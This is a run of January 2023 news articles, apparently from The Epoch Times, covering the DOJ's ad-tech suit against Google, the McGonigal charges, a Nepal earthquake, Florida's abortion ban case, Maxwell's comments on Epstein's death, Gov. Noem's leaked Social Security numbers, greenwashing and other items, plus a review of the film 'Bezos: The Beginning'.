Further, it claimed that Google first worked to neutralize or eliminate other ad tech competitors via acquisitions and then used its dominance across digital advertising markets to force more publishers and advertisers to use its products while disrupting their ability to use competing products.

Attorney General Merrick Garland names a special counsel to investigate the handling of classified records found at President Joe Bidens home and former offices, in Washington on Jan. 12, 2023. (Olivier Douliery/AFP via Getty Images)

Whenever Googles customers and competitors responded with innovation that threatened Googles stranglehold over any one of these ad tech tools, Googles anticompetitive response has been swift and effective, the suit said. Each time a threat has emerged, Google has used its market power in one or more of these ad tech tools to quash the threat. The result: Googles plan for durable, industry-wide dominance has succeeded.

Previously, Google has argued that in the ad technology field, it was competing with Metas Facebook, AT&T, and Comcast, among others. Last December, the firm asked a federal court to toss the DOJs first antitrust lawsuit, saying it was deeply flawed and used dubious antitrust arguments.

It argued that its overwhelming market share is thanks to the quality of its search product, adding that its efforts to promote search were entirely legal.

You dont have to go to Google to shop on Amazon. You dont have to go to Google to buy plane tickets on Expedia, a lawyer for the firm, John Schmidtlein, also said last year. The fact that Google doesnt face the same competition on every query doesnt mean the company doesnt face tough competition.

Schmidtlein also said that companies want to partner with Google because they want to and not because they had to. The company had extraordinary success and was doing something incredibly valuable. Competition on the merits is not unlawful, he added.

The eight states that joined the DOJs antitrust lawsuit are California, Colorado, Connecticut, New Jersey, New York, Rhode Island, Tennessee, and Virginia.

Google also faces several other antitrust lawsuits from groups of state attorneys general, including one from Texas Attorney General Ken Paxton that also targets its ad business.

The Epoch Times has contacted Google for comment.

Reuters contributed to this report.
DOJ Signals to Rep. Jim Jordan It Wont Hand Over Documents Related to Pending Investigations

DOJ denies House GOP request for information on ongoing investigations

The Department of Justice (DOJ) has informed House Judiciary Committee Chairman Rep. Jim Jordan (R-Ohio) that information about ongoing investigations will not be shared, in a letter on Jan. 20. The DOJ stated that any oversight request must be weighed against the departments interests in protecting the integrity of its work.

Assistant Attorney General for the Office of Legislative Affairs Carlos Felipe Uriarte writes in the DOJs letter that according to department policy, certain details about ongoing investigations must be withheld, but claimed that the department was prepared to negotiate in good faith with Congress.

With respect to oversight requests for information and documents, we share your belief that congressional oversight is vital to our functioning democracy and we are committed to cooperating with the committees legitimate efforts to seek information, consistent with our obligation to protect executive branch confidentiality interests, Uriarte writes.

Furthermore, Uriarte claims that longstanding department policy prevents it from confirming or denying the existence of pending investigations, outlining department practices and its mission.

The departments obligation to protect the governments ability to prosecute fully and fairly is vital to the executive branchs core constitutional function to investigate and prosecute criminal matters. The departments mission to independently and impartially uphold the rule of law requires us to maintain the integrity of our investigations, prosecutions, and civil actions, and to avoid even a perception that our efforts are influenced by anything but the law and the facts. So does the departments obligation to protect witnesses and law enforcement, avoid flight by those implicated in our investigations, and prevent additional crimes and attacks.

Jordan Threatens to Issue Subpoenas

Jordan resent several requests for outstanding documents and information to Biden administration officials on Jan. 17 with a warning.

Since the beginning of the Biden Administration, we have made several requests for information and documents concerning the operations and actions of the Federal Bureau of Investigation. These requests remain outstanding. As we begin the 118th Congress, we write again to reiterate our outstanding requests and ask that you immediately comply in full, Jordan wrote in his letter (pdf) addressed to FBI Director Christopher Wray.

Jordan noted that his Jan. 17 request would be the last time that the committee would request the information and added that the committee is prepared to resort to compulsory process, if necessary, to obtain this material.

Uriarte claims that the DOJ and its components have worked in good faith to respond to Jordans requests. He said he believes that a solution can be reached through negotiations in which both parties can be satisfied without any threat to the DOJs institutional interests.

Your January 17 requestsmade now in your position as chairmaninitiate the constitutionally mandated accommodation process. Under this process, the legislative and executive branches have a constitutional obligation to negotiate in good faith to meet the informational needs of Congress while protecting the institutional interests of the Executive Branch, Uriarte wrote.

We look forward to beginning this process in response to your January 17 letters. We believe that good-faith negotiations will enable us to meet the committees needs while protecting the departments institutional interests. We are available to engage in staff-level meetings to determine which information requests incorporated into your recent letters reflect the committees current priorities in light of prior department responses and disclosures.
Earthquake in Nepal Kills at Least 1, Sends Tremors as Far as New Delhi

A map showing the location of a magnitude 5.6 earthquake that struck the area in Bajura district in the west of Nepal, on Jan. 24, 2023. (USGS/Screenshot via The Epoch Times)

KATHMANDUAt least one person died and more than two dozen houses were damaged in a remote Nepalese district after an earthquake of magnitude 5.6 struck the Himalayan nation on Tuesday, officials said, as tremors were felt as far as Indias capital New Delhi.

Military and police teams have been rushed to the affected area in Bajura district in the countrys west, a district official told Reuters, as local media showed images of volunteers moving debris to look for survivors.

A woman who had climbed up a hill to collect fodder was crushed to death by a falling stone loosened by the tremors, Gaumul village official Deb Bahadur Rokaya said.

The U.S. Geological Survey said the quake was at a depth of 25 km, about 63 km to the northwest of Nepals Jumla district, more than 300 km from the capital Kathmandu.

It was quite a big tremor. There were people all gathered on the streets. There was terror for some time, said Nain Rawal, an official in Bajura district.

The houses that were destroyed or developed cracks in villages were mostly made of mud and stone, said Pushkar Khadka, another district official, adding that further details from rescue teams are awaited.

The European-Mediterranean Seismological Centre said earlier that the magnitude of the quake was 5.4.

Social media users in India said they felt strong tremors that shook ceiling fans and other fixtures.

A 7.8 magnitude quake killed almost 9,000 people in Nepal in 2015.

By Gopal Sharma and Tanvi Mehta
Ex-FBI Agent Charged With Working for Russian Oligarch Played Role in Trump-Russia Investigation

Charles McGonigal (L), the former head of counterintelligence for the FBIs New York office, and his attorney Seth Ducharme leave Manhattan Federal Court in New York City on Jan. 23, 2023. (Michael M. Santiago/Getty Images)

Charles McGonigal, a former FBI agent who was arrested on Monday for alleged ties to a Russian oligarch, was one of the agents who played a role in investigating now-discredited allegations of collusion between Donald Trumps 2016 presidential campaign and the Russian government.

On Monday, the U.S. Department of Justice (DOJ) announced it had arrested McGonigal and charged him with violating and conspiring to violate the International Emergency Economic Powers Act (IEEPA) by laundering money on behalf of Oleg Deripaska, a sanctioned Russian billionaire.

Announcing the charges against McGonigal, the DOJ described McGonigal as the former special agent in charge of the FBIs New York Counterintelligence Division before he retired in 2018.

The DOJ statement also said that while working with the FBI, McGonigal supervised and participated in investigations of Russian oligarchs, including Deripaska.

Federal agents stand in front of a home of Russian oligarch Oleg Deripaska in Washington on Oct. 19, 2021. (Manuel Balce Ceneta/AP Photo)

FBI records show that McGonigal served as the section chief of the Cyber-Counterintelligence Coordination Section at FBI Headquarters before being reassigned to the New York Counterintelligence Division in October of 2016.

What the DOJ statement didnt mention was that McGonigal was involved in the FBIs investigations into Donald Trumps 2016 campaign advisers Carter Page and George Papadopoulos.

Messages released by the then-Republican-controlled Senate Homeland Security and Government Affairs Committee in 2018 showed that FBI agent Peter Strzok communicated with McGonigal about the investigation involving Trump campaign members.

George Papadopoulos

Former advisor to US President Donald Trumps election campaign, George Papadopoulos, and his wife, Simona Mangiante Papadopoulos, arrive at US District Court in Washington on Sept. 7, 2018. (Mandel Ngan/AFP/Getty Images)

During a meeting with The Washington Post editorial board, Trump announced that Papadopoulos, who was 28 years old at the time, had joined his 2016 presidential campaign in May of 2016 as a foreign policy advisor.

In April of 2016, Papadopoulos met with Joseph Mifsud, a Maltese professor. Mifsud allegedly told Papadopoulos that he had information that the Russians have dirt on Trumps 2016 opponent, Hillary Clinton, in the form of thousands of emails.

On July 28, 2016, while McGonigal served as the section chief of the Cyber-Counterintelligence Coordination Section at FBI Headquarters, the section received information from a Friendly Foreign Government (FFG) source that Papadopoulos suggested the Trump team had received some kind of suggestion from Russia that it could assist  with the anonymous release of information during the campaign that would be damaging to [Hillary] Clinton (and President Obama).

Shortly after receiving this claim, the FBI initiated an investigation it called Crossfire Hurricane, which looked into claims of coordination between Trumps campaign and the Russian government.

FBI agents interviewed Papadopoulos in January 2017 about potential ties between the Trump campaign and Russia. The FBI arrested Papadopoulos in July 2017 on allegations that he lied about meeting with Mifsud before joining the Trump campaign, when the pair in fact met within half a month of his appointment.

The DOJ alleged that Papadopoulos knew Mifsud had extensive ties to Russian intelligence. Papadopoulos ultimately plead guilty to lying to the FBI, and served 12 days in prison for the offense.

While prosecutors in Papadopoulos case contended that Mifsud was connected to Russia, other open-source information suggests that Mifsud had ties to Western intelligence and the FBI. This is also what Papadopoulos said he believed to be true the time of meeting.

Carter Page

In addition to his sections involvement in the investigation into Papadopoulos, McGonigal also had some involvement in the FBI investigation of Page, another foreign policy adviser to the Trump campaign.

Strzok texted McGonigal on at least one occasion on Jan. 6, 2017, according to text messages released by Senate Republicans. The pair may have had other conversations that remain redacted. In that message, Strzok wrote, This re holding copy of report for Trump people? If not, need to talk to you, too.

Its not clear what Strzok was referencing in the message.

Carter Page speaks to the media after testifying before the House Intelligence Committee on Nov. 2, 2017. (Mark Wilson/Getty Images)

Our Team is currently talking to [Carter Page] re Russia, McGonigal also reportedly wrote in another March 16, 2017, text message to another FBI employee, the Washington Free Beacon reported.

During the 2016 Trump campaign, Page was the subject of a Foreign Intelligence Surveillance Act (FISA) warrant, which allowed the DOJ to monitor his communications. In their FISA application, the DOJ alleged that Page was collaborating and conspiring with the Russian government and had been the subject of past Russian intelligence recruiting efforts. The DOJ subsequently extended its FISA surveillance warrant against Page multiple times.

Page has denied working with the Russian government and has never been charged in connection with the investigations into the Trump campaign.

In 2020, FBI lawyer Kevin Clinesmith was charged with falsifying records used to obtain a FISA warrant extension against Page. He plead guilty to the charge and was sentenced in January 2021 to probation for the offense.

From NTD
Federal Court of Appeal Rejects Competition Bureaus Appeal on Rogers-Shaw

Rogers and Shaw applications are pictured on a cellphone in Ottawa on May 9, 2022. (The Canadian Press/Sean Kilpatrick)

The Federal Court of Appeal has rejected the Competition Bureaus appeal on the Rogers-Shaw deal.

The Court of Appeal found the Competition Bureaus arguments did not meet the high threshold needed to overturn the decision by the Competition Tribunal approving Rogers Communications Inc.s takeover of Shaw Communications Inc.

The Competition Bureaus arguments had focused on what they said were four key legal errors that focused especially on how the proposed sale of Shaws Freedom Mobile to Videotron factored into the tribunals decision.

The Court of Appeal said the tribunal made it clear that the deal would not substantially lessen competition and that the decision wouldnt change even with the approach argued by the bureau.

The deal, which Rogers hopes to close by Jan. 31, still requires approval from Industry Minister Francois-Philippe Champagne.

The Competition Tribunal approved the deal on Dec. 30 at the end of more than four weeks of hearings, while Rogers and Shaw first announced the deal in March of 2021.
R | 1h 51min | Drama, biography | January 24, 2023

All bookstores have a unique advantage in the retail world. Thanks to a policy adopted during the Great Depression, all book retailers can return any unsold books to publishers for full credit (in rare cases, some minor penalties might apply).

Admittedly, Amazon.com developed into a challenge few booksellers, including executives of the major bookstore chains, anticipated. Independent stores that weathered the storm of competition from Barnes & Noble subsequently found the Internet giant underpricing them on all the latest bestsellers.

However, in the early days, Amazon did not look so formidable. The online-retailing giants genesis is now dramatized in Khoa Les Bezos: The Beginning.

As the film opens, Amazon founder Jeff Bezos is an awkward, but mostly likable fellow, who has already impressed his hedge fund bosses with the intelligence of his analysis and the diligence of his work ethic.

Armando Gutierrez stars as Jeff Bezos in Bezos: The Beginning. (Vision Films)

Tasked with finding the next big opportunity, Bezos has an epiphany moment when he reads a report of Internet sales growing at a rate of over 2,000 percent. Believing in the future of online retailing, Bezos settles on books as the perfect category to start with, because an Internet store could conceivably carry every title in-print from major distributors, whereas brick-and-mortar stores are physically limited by what they can fit on their shelves.

Online Bookstore

Obviously, Bezos was onto something, but the thinly fictionalized bookstore trade association in Les film just doesnt get it, and Leonard Riggio, the founder of Barnes & Noble, is openly contemptuous of Bezos and his vision.

Nevertheless, when Bezos describes his online endeavor (not yet re-named Amazon) as the worlds largest bookstore, Riggio reacts with litigious threats.

It is rather fascinating to revisit Amazons early days in light of all the companys subsequent controversies, including its recent decision to scrap the Smile program (which allowed customers to donate a small percentage of their sales to the charity of their choice).

Somewhat unexpectedly, a good portion of Les film focuses on the supportive relationship Bezos enjoyed with his Cuban-American step-father Miguel Bezos, who adopted him as his own son. In many ways, the film is surprisingly sympathetic towards the Amazon founder.

Bezoss Cuban-American step-father Miguel Bezos (Emelio Esteban, Jr., R) in Bezos: The Beginning. (Vision Films)

It is not hagiography either. Bezoss obsessive drive clearly strains his marriage to first-wife MacKenzie Scott that he only manages to halfway repair before the site launch. However, the films golden moment comes during a pitch to venture capitalists. When they remark on his long-term potential to corner the market for online retailing, Les Bezos replies with a straight face: Monopolizing is a very harsh word. It is easy to imagine at this moment the sound of Amazons critics grinding their teeth.

Good Capitalist

Bezos: The Beginning is aptly named because it literally encompasses the earliest days of Amazon. This Bezos is not political in any way, but he is a good capitalist.

Screenwriters Allison Burnett and R.V. Romero (taking inspiration from Ebanks Zero to Hero young adult biography) certainly capture the creative destruction that Austrian economist Joseph Schumpeter famously associated with capitalist innovation, particularly through the actions and motivations of the Riggio character.

If nothing else, this film should change viewers perceptions of actor Kevin Sorbo, because he is terrific as the shark-like B&N CEO. Based on his work in Bezos, the former Hercules star would be an inspired choice to play Gordon Gekko in a Wall Street remake, should one ever happen.

In contrast, Armando Gutierrez is convincingly cerebral and driven as the titular tycoon, but those qualities do not exactly pop off the screen. However, Emilio Estefan Jr. (Gloria Estefans husband and founder of the Miami Sound Machine) provides the films humanistic heart as Miguel Bezos, while keeping the title characters adopted Cuban heritage front-and-center throughout the film.

Bezos: The Beginning neither attacks or defends its subject. As a result, it offers an intriguing and rarely seen perspective on the future tech titan.

However, the title is no lie. It ends way before Amazon becomes even a glimmer of what it now has become, which will frustrate viewers looking for a fuller chronicle of Amazons rise to dominance. Frankly, it does indeed feel somewhat abbreviated. Yet, it also identifies early key mistakes that were made by those around Bezos, including his competitors, and shows how he capitalized off them. MBA students and budding venture capitalists could probably appreciate the film as a case study.

Recommended as a straightforward, unbiased real-life business start-up drama, Bezos: The Beginning releases Jan. 24 on VOD.

The story of the beginnings of Amazon retailer is shown in Bezos: the Beginning. (Vision Films)

Bezos: the Beginning

Director: Khoa Le

Stars: Armando Gutierrez, Kevin Sorbo, Emilio Estefan Jr.

Running Time: 1 hour, 39 minutes

MPAA Rating: R

Release Date: Jan. 24, 2023

Rating: 3.5 out of 5
Florida Supreme Court Agrees to Hear Arguments Against 15-Week Abortion Ban

The Florida Supreme Court has agreed to hear arguments against the states 15-week abortion ban, a decision that comes as Floridas lawmakers are likely to discuss further restrictions on abortions in the 2023 legislative session.

HB5 has been challenged by Planned Parenthood, American Civil Liberties Union (ACLU), and other abortion providers, arguing that the states Constitution protects the right to abortion.

On Monday, the court declined to immediately block HB5 while the lawsuit proceeds, thereby leaving the 15-week abortion ban in place. However, it accepted the plaintiffs request to hear their arguments in the case against HB5. The court will now schedule oral arguments through a separate order.

While we are pleased that the court didnt shut its doors completely, we are dismayed that it has allowed this dangerous ban to remain in effect and to harm real people each and every day until this case is finally decided, Whitney White, staff attorney for ACLUs Reproductive Freedom Project, said in a Jan. 23 statement.

HB5 was passed in March 2022 and signed into law in April the same year.

We are here to defend those who cannot defend themselves, Florida Gov. Ron DeSantis said at the time. We are here today to protect life.

HB5 reduced the legal time limit for abortion to 14 weeks from the earlier 24 weeks, providing no exemption for incest or rape. The law came into effect on July 1, 2022.

Lawsuit, Further Abortion Restrictions

The lawsuit against the 15-week ban was filed in June last year. On July 5, a circuit court judge issued a temporary injunction, stating that the implementation of HB5 would be blocked, citing a 1989 Supreme Court ruling that the states privacy laws protect abortion. Florida appealed the ruling.

In August, the 1st District Court of Appeal blocked the circuit court ruling, keeping the 15-week abortion ban in effect. Plaintiffs in the case asked the Florida Supreme Court to block the law, which was denied on Jan. 23 in a 41 decision.

DeSantis has expressed willingness to expand abortion restrictions but has not indicated what measures he plans to include. During the 2023 legislative session, lawmakers are expected to take up the abortion issue for discussion.

Senate President Kathleen Passidomo, a Republican, is pushing for reducing the abortion time limit from 15 weeks to 12 weeks, but with exceptions for incest and rape.

According to a report from the U.S. Centers for Disease Control and Prevention, Florida registered roughly 72,000 abortions in 2019, of which around 2 percent were performed when the fetus was 14 weeks or older.

Harris Speech

The Florida Supreme Courts decision comes as Vice President Kamala Harris delivered a speech in Florida on Jan. 22, announcing that the Biden administration is committed to increasing access to abortion.

Harris blamed the U.S. Supreme Court for stealing womens fundamental right to abortion when it overturned Roe v. Wade in June last year. In an interview with The Epoch Times, Mark Minck, the state chairman of Protect Human Life Florida, said that Harriss visit to the state was significant given its timing.

I dont think its a coincidence, he said prior to Harriss visit. She could be in any one of 50 states. And shes going to be in Florida on the 50th anniversary of the now-infamous Roe v. Wade decision. And Florida, sadly enough, is already third in the nation in the number of abortion deaths each year behind California and New York.
A Minot woman who police say left one of her children behind at a Bismarck museum faces a felony charge for refusing to submit to DUI testing.

Kelly Parker, 40, was unable to complete field sobriety tests and later refused to submit to blood alcohol content screenings, according to a police affidavit.

Bismarck police on Friday responded to an anonymous report that an intoxicated woman drove away from the North Dakota Heritage Center & State Museum with two children but left one child there. The child was getting into the car in the parking lot when officers arrived, the affidavit states.

Parker faces a possible five-year prison term if convicted. Shell enter a plea later. Her attorney did not immediately respond to a request for comment.

Parker last May pleaded guilty to two offenses of drunken driving with a minor in the vehicle in Ward County, according to court documents.
Germany Charges 5 With Plot to Kidnap Minister, Overthrow Government

The Reichstag building (R), which houses Germany's Bundestag lower house of parliament, and the Jakob-Kaiser-Haus parliamentary complex (L) are reflected in the river Spree in Berlin on Jan. 20, 2023. (John MacDougall/AFP via Getty Images)

BERLINProsecutors brought high treason charges against five people who allegedly planned to kidnap the health minister and were prepared to kill in order to topple the German government, the attorney general said on Monday.

The group, formed in mid-January 2022, had set itself the goal of triggering civil war-like conditions in Germany by means of violence in the hope of overthrowing the government and parliamentary democracy, the prosecutor said in a statement.

The group had accepted that this could involve the loss of lives, according to the statement.

All five have been in custody since last year, when authorities first revealed the details of the alleged plot.

According to prosecutors, the suspects had made increasingly concrete preparations and formed two separate branches of their group, one military and the other administrative.

In a three-step plan, they wanted to cause a nationwide blackout, abduct Health Minister Karl Lauterbach, kill his bodyguards if necessary, and then call an assembly to depose the government and appoint a new leader.
Ghislane Maxwell on Jeffrey Epsteins Death: I Believe That He Was Murdered

Audrey Strauss, acting U.S. attorney for the Southern District of New York, points to a photo of Jeffrey Epstein and Ghislaine Maxwell, during a news conference in New York on July 2, 2020. (John Minchillo/AP Photo)

Former socialite and convicted sex trafficker Ghislaine Maxwell told Britains Talk TV in a jailhouse interview that she believes her former associate and disgraced financier Jeffrey Epstein was murdered.

Epstein, who was facing multiple charges of sex trafficking of minors, was found dead in his cell at the Metropolitan Correctional Center (MCC) in New York City in August 2019.

His death was officially ruled as a suicide by hanging, but there has been widespread speculation about the cause. For instance, a forensic pathologist hired by Epsteins brother said multiple fractures found in his neck were very unusual in suicidal hangings and more consistent with strangulation.

Maxwell, who is currently serving a 20-year sentence in a Florida prison for helping Epstein sexually abuse girls, told Talk TV that she believes Epsteins death was no suicide.

I believe that he was murdered, Maxwell said in the Talk TV interview. I was shocked. Then I wondered how it had happened because as far as I was concerned, he was going to  I was sure he was going to appeal.

Many people have united in skepticism that Epstein could have taken his own life a mere month after being arrested on sex trafficking charges.

In particular, a number of people have pointed to Epsteins connections to powerful individuals, some of whom may have been implicated in illicit activities with him and would have wanted to keep him quiet.

Maxwell said earlier that one of her fellow inmates was offered money to murder her and schemed to strangle her in her sleep, according to court papers filed last year by her lawyers ahead of her sentencing.

This incident reflects the brutal reality that there are numerous prison inmates who would not hesitate to kill Ms. Maxwellwhether for money, fame, or simple street cred, the lawyers wrote in the filing, suggesting someone may have wanted Maxwell dead badly enough to pay for it.

Maxwell was sentenced on June 28, 2022, to 20 years in prison for conspiring with Epstein to sexually abuse minors.

She is serving time at Floridas low-security FCI Tallahassee prison.

(L): Ghislaine Maxwell attends a symposium in New York City in a 2013 file photograph. (Laura Cavanaugh/Getty Images); (R): Jeffrey Epstein in a 2013 mugshot in Florida. (Florida Department of Law Enforcement via Getty Images)

Questions Unanswered

Questions have swirled about the circumstances surrounding Epsteins death since he was found dead on Aug. 10, 2019, in his cell with a bedsheet around his neck.

Epsteins death sparked outrage that such a high-profile prisoner could have gone unmonitored at a facility where such infamous inmates like Mexican drug lord Joaquin El Chapo Guzman and Wall Street swindler Bernie Madoff came and went without incident.

Epstein had been placed on suicide watch about a month before his death after he was found on his cell floor on July 23 with bruises on his neck. He was later taken off suicide watch and placed in a high-security housing unit where he was less closely monitored but still supposed to be checked on every half hour.

Two jail guards who were supposed to monitor Epstein were accused by prosecutors of falling asleep and surfing the internet that night rather than checking on him every 30 minutes.

The pair, Tova Noel and Michael Thomas, would later admit they willfully and knowingly falsified records to make it seem they were following the correct check-in protocols with regard to Epstein.

Michael Thomas and Tova Noel appear on charges they falsely certified to having conducted inmate counts during Jeffrey Epsteins final hours at the Federal Court in New York City, New York, on Nov. 25, 2019. (Jane Rosenberg/courtroom sketch/Reuters)

In January 2022, the criminal case against Noel and Thomas was dropped after they complied with the six-month deferred prosecution agreements they agreed to earlier, which included 100 hours of community service and cooperating with a Justice Department (DOJ) probe into Epsteins death.

Medical Examiner: The Cause Is Hanging

Chief Medical Examiner Dr. Barbara Sampson ruled Epsteins death a suicide by hanging. She said she made the determination after careful review of all investigative information, including complete autopsy findings.

Not long after Sampson ruled Epsteins death a suicide, Epsteins brother hired forensic pathologist Dr. Michael Baden, who was in the room for Epsteins autopsy, to review the evidence.

Baden, who was New York Citys chief medical examiner in the 1970s, said at the time that the evidence suggested Epstein may have been murdered. He said that Epsteins injuries were more consistent with those found in homicide victims and that he hadnt seen the type of neck bone injuries that Epstein had in any suicides that he had investigated. Baden added, however, that his observations were not conclusive.

Some experts have said that, while uncommon, injuries to the hyoid bone that Epstein had do sometimes occur in suicidal hangings, more so in older people. Epstein was 66 at the time of his death.

After Baden issued his opinion, Sampson responded by saying that no conclusions should be drawn from a single piece of evidence or unusual injury.

I stand firmly behind our determination of the cause and manner of death for Mr. Epstein, she said in October 2019. The cause is hanging, the manner is suicide.

Serious Irregularities

Then-Attorney General William Barr said at the time that there were serious irregularities at the Manhattan jail where Epstein died, vowing that the DOJs inspector general would get to the bottom of what happened and that there will be accountability. That investigation continues and no report has been released yet.

Following Barrs remarks, then-House Judiciary Committee Chairman Rep. Jerry Nadler (D-N.Y.) and then-ranking member Rep. Doug Collins (R-Ga.) sent a letter to the Bureau of Prisons asking 23 questions about Epsteins death. In the letter, they cited deficiencies in inmate protocol and requested information about the Bureau of Prisons suicide prevention policies, resources, and staffing.

A subsequent report (pdf) prepared by the Bureau of Prisons National Suicide Prevention Coordinator, Psychology Services Branch, Central Office, put forward a timeline of events and circumstances leading up to Epsteins death.

The report stated that a facilities assistant described Epstein as distraught, sad, and a little confused when he arrived at the correctional facility on July 6, 2019.

The assistant was cited in the report as saying that, even though Epstein said he felt fine, she wasnt convinced and wrote that he seemed dazed and withdrawn and advised in an email that someone from Psychology should talk to him to just be on the safe side and prevent any suicidal thoughts.

Following a court proceeding on July 8, Epstein denied having any suicidal thoughts but due to risk factors was put on psychological observation, a protocol that is less restrictive than suicide watch. The report says he was taken off psychological observation several days later.

Following a suicide risk assessment on July 23, Epstein was placed on suicide watch, the report indicates. A day later, he was taken off suicide watch and put back on psychological observation. The report says Epstein was having difficulties adjusting to his environment behind bars, including trouble sleeping and concerns about his safety.

A day before his death, newly unsealed documents alleged new details of sexual abuse claims against Epstein, with the report suggesting that this further eroded his status and potentially implicated some of his associates.

The lack of significant interpersonal connections, a complete loss of his status in both the community and among associates, and the idea of potentially spending his life in prison were likely factors contributing to Mr. Epsteins suicide, the report notes.

Besides the guards procedural mistakes the night of Epsteins death, the BOP report says staff made several other errors. For instance, someone filling out a psychological services intake screening form for Epstein incorrectly ticked a box that said he had no prior sexual offense convictions, he had been mistakenly identified as black, and there were a number of incomplete entries for Epstein regarding receiving services like showers and meals.

As the investigation into Epsteins death continues, Maxwells claims have added to the list of questions surrounding the case.
Gov. Noem Says Her Cell Phone Was Hacked Due to Jan. 6 Committee Leak

South Dakota Gov. Kristi Noem speaks during the National Rifle Association annual convention at the George R. Brown Convention Center in Houston, Texas on May 27, 2022. (Brandon Bell/Getty Images)

South Dakota Gov. Kristi Noem said on Jan. 23 that her personal cell phone number has been hacked and used to make hoax calls, blaming the Jan. 6 committee for releasing her familys Social Security numbers.

Callous mishandling of personal information has real world consequences, Noem said in a press release. If you get such a phone call from my number, know that I had no involvement.

The Social Security numbers belonging to Noem, her husband, her three children, and her son-in-law were published, without redaction, as part of the White Houses visitor logs that became exhibits during undated hearings by the House panel investigating the Jan. 6, 2021, breach of the U.S. Capitol. The leak was first reported by the Washington Post on Jan. 6.

Such information, which under federal law should have been redacted prior to the documents publication, remained publicly available on the committees website for days before being removed online on Jan. 4.

Failure to protect confidential data is in violation of the Privacy Act of 1974, which provides that [no] agency shall disclose any record which is contained in a system of records by any means of communication to any person, or to another agency, except pursuant to a written request by, or with the prior written consent of, the individual to whom the record pertains.

But this was not done, said the governor.

I have urged both the United States Attorney General and multiple congressional committees to investigate the leaking of my familys personal information, Noem said in her statement. I look forward to whatever resolution they can provide.

The governor wrote to Attorney General Merrick Garland and House representatives last week to investigate the apparent breach of confidential data. In the two separate letters, Noem said the damage has gone beyond the lives of her family to the families of the nearly 2000 individuals specified in the logs, who visited the White House in December 2020.

The leak impacted several high-profile GOP figures, including Texas Gov. Greg Abbott, South Carolina Gov. Henry McMaster, former U.S. Secretary of Housing and Urban Development Ben Carson, and former U.S. Secretary of Health and Human Services Alex Azar.

Noem and others affected previously told the Washington Post they werent notified about the disclosure.

This callous, unacceptable handling of our most sensitive information could have permanent, widespread damage to the lives of my kids and my grandkids, as well as the families of the nearly 2000 individuals impacted. We are demanding answers, and an investigation will find them. pic.twitter.com/6MK6OvoOgA  Governor Kristi Noem (@govkristinoem) January 20, 2023

Last February, President Joe Biden ordered the National Archives to release White House visitor logs to the Jan. 6 panel, denying Trumps claim that they were covered under executive privilege and thus should not be disclosed to the committee.

In her Jan. 19 letter to Garland, Noem said shes glad of the attorney generals appointment of a special counsel to investigate the classified documents discovered at President Joe Bidens home and office space.

This action indicates an increased willingness to investigate violations of law, regardless of the political affiliation of the lawbreaker. I hope that you will do the right thing and investigate this apparent violation of federal law, Noem wrote.

The South Dakota governor, who has been floated as a possible GOP presidential contender, recently said she wasnt in a rush to make a decision on a 2024 White House bid.

Im not convinced that I need to run for president, Noem said during a Jan. 18 appearance on CBS. I think that as we go through the coming months, and even the next year, year and a half, that leader will emerge.
Green Products Often More About Social Appeal, Corporate Profits Than Environment

News Analysis

American consumers are reaching for green products on shelves more than ever this year while corporations are cashing in on a gold mine. Though evidence suggests that the trend has little to do with helping the environment.

The market for sustainable products and energy was valued at more than $15 billion in 2022. Analysts forecast that number will hit $79 billion by 2030.

However, the eco-awareness movement is little more than a green veneer for some companies. Due to lax regulations, all businesses need is a label brandishing familiar buzzwords such as sustainable, biodegradable, or natural. Then the productregardless of its actual eco-impactis unleashed on consumers.

The industry term is greenwashing, and dozens of companies have already been exposed for peddling items and services that are anything but eco-friendly.

Customers shop in East Rutherford, New Jersey, on Nov. 25, 2022. (Kena Betancur/Getty Images)

Yet the duplicity applies to more than just businesses. Research shows that many advocates on the consumer end care more about the social appeal and acceptance of going green than the environment itself.

One study on the psychological impact of using green products showed that items that consumers believed to have a reduced carbon footprint led to a spike in perceived value to society. The study authors referred to it as the green consumption effect.

But only a handful of the people who expressed that heightened sensation of social value actually buys green products.

A survey showed that of the 62 percent of people who say they want more green options, only 26 percent actually purchase them.

And while the percentage of people who claim they want more sustainable productsand are willing to pay more money for themhas been growing since 2019, a serious intention-action gap remains.

Some green industry insiders say consumers do little research on alleged eco-friendly products before purchasing them. This contributes to the trend of greenwashing, which analysts say isnt likely to go away anytime soon.

Beyond Purchasing

The survey results arent surprising. It has long been acknowledged that a significant portion of consumers makes purchasing decisions based on the perceived societal value of a product, Carlos Cen Wu told The Epoch Times.

Wu is the CEO and co-founder of Tallo, a company that offers sustainable personal care products. He says Tallo was born out of frustration with standard industry practices, confusing labels, and harmful ingredients.

He also indicated that true sustainability goes far beyond simple purchases and social appeal.

Wu said for someone to make a lasting, positive impact on their carbon footprint, it requires a comprehensive examination of ones consumption habits and a steadfast commitment to reducing ones environmental impact.

He offered the example of people who opt to replace all their plastic items with alternatives because its greener. But what happens to all that plastic? Wu says some people overlook the possibility of reusing their plastic in favor of buying all-new green replacements.

This behavior may be seen as a way to signal their values to others rather than truly reducing their environmental impact, he said.

Wu noted that a more effective approach would be to use whatever someone has as much as possible, then replace items with a more sustainable choice as the need arises.

Because for anything to be truly sustainable, the entire lifecycle of an item must be considered. Its called a life cycle assessment, or LCA, within the industry, which uses a benchmark product and a complete examination of the item in questionfrom the design desk to the rubbish binto determine sustainability.

But many companies dont take it that far. Instead, they focus on a single attribute of their product. For instance, does it contain any recycled materials? If so, it can be labeled green, regardless of how it came into being or what happens after being in the trash.

In 2022, 18 household names got called out for similar types of greenwashing.

Among them were Michelin, fashion giant H&M, internet sensation The Ocean Cleanup project, and music band Coldplay.

A woman carries a shopping bag branded with the fashion chain H&M on Dec. 3, 2022. (Lisi Niesner/Reuters)

At the end of the day, consumers still need to put in the work to support companies that offer truly eco-friendly products.

Though it appears many advocates arent walking the talk. One 2022 analysis revealed that just 52 percent of consumers attempt to learn how companies are managing resources and if they practice ethical sourcing for their products.

For some green industry business owners, this aspect alone is very telling.

Green Lifestyle?

I think a big test of peoples green intentions is seeing how much theyve truly evaluated and combed over their life holistically and either made big changes or not, Lauren Byington told The Epoch Times.

Byington runs Heal Yes!, which offers organic makeup options for eco-savvy consumers.

Her company was one of the first to put a spotlight on ethical sourcing for mica, a mineral that has long been associated with forced and child labor in some countries. Mindful of the product lifecycle, Byington also uses recyclable or reusable packaging.

And she maintains that all you need to do to determine someones level of commitment to living green is to look at their lifestyle.

What about the rich businessperson or politician who is invested in green-focused companies and constantly advocates for solar [and] wind  but jet-sets weekly, owns multiple massive energy-hungry mansions, [and] wears precious gems, animal-tested cosmetics, and other products that could have been obtained through cruel methods? she asked rhetorically.

